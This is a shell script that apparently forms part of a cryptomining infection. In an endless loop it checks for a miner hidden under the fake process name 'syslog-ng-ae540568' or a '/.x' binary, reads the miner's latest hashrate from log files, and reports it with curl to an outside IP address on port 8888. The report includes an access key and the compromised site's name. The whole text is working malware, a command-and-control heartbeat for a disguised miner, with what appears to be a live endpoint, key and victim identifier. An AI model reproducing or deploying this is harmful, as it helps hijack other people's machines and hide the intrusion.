#!/bin/sh
while true; do sleep 60
  if ! ps -ef | grep '[s]yslog-ng-ae540568' | grep -v grep >/dev/null 2>&1 && \
     ! ps -ef | grep '[/][.]x' | grep -v grep >/dev/null 2>&1; then
    continue
  fi
  hs="0"
  for lf in /home/emac/syslog.log /home/emac/m.log; do
    if [ -f "$lf" ]; then
      hs=$(grep speed "$lf" 2>/dev/null | tail -1 | grep -o 'max [0-9.]*' | awk '{print $2}')
      [ -n "$hs" ] && [ "$hs" != "0" ] && break
    fi
  done
  hs=${hs:-0}
  curl -s "http://107.173.46.34:8888/ping?key=qQY_NqageoDKT0Gz4ub7CZ6P5RnZDVvVv_UHWj0FILc&h=https://www.zome.emac.pt&hs=$hs" >/dev/null 2>&1
done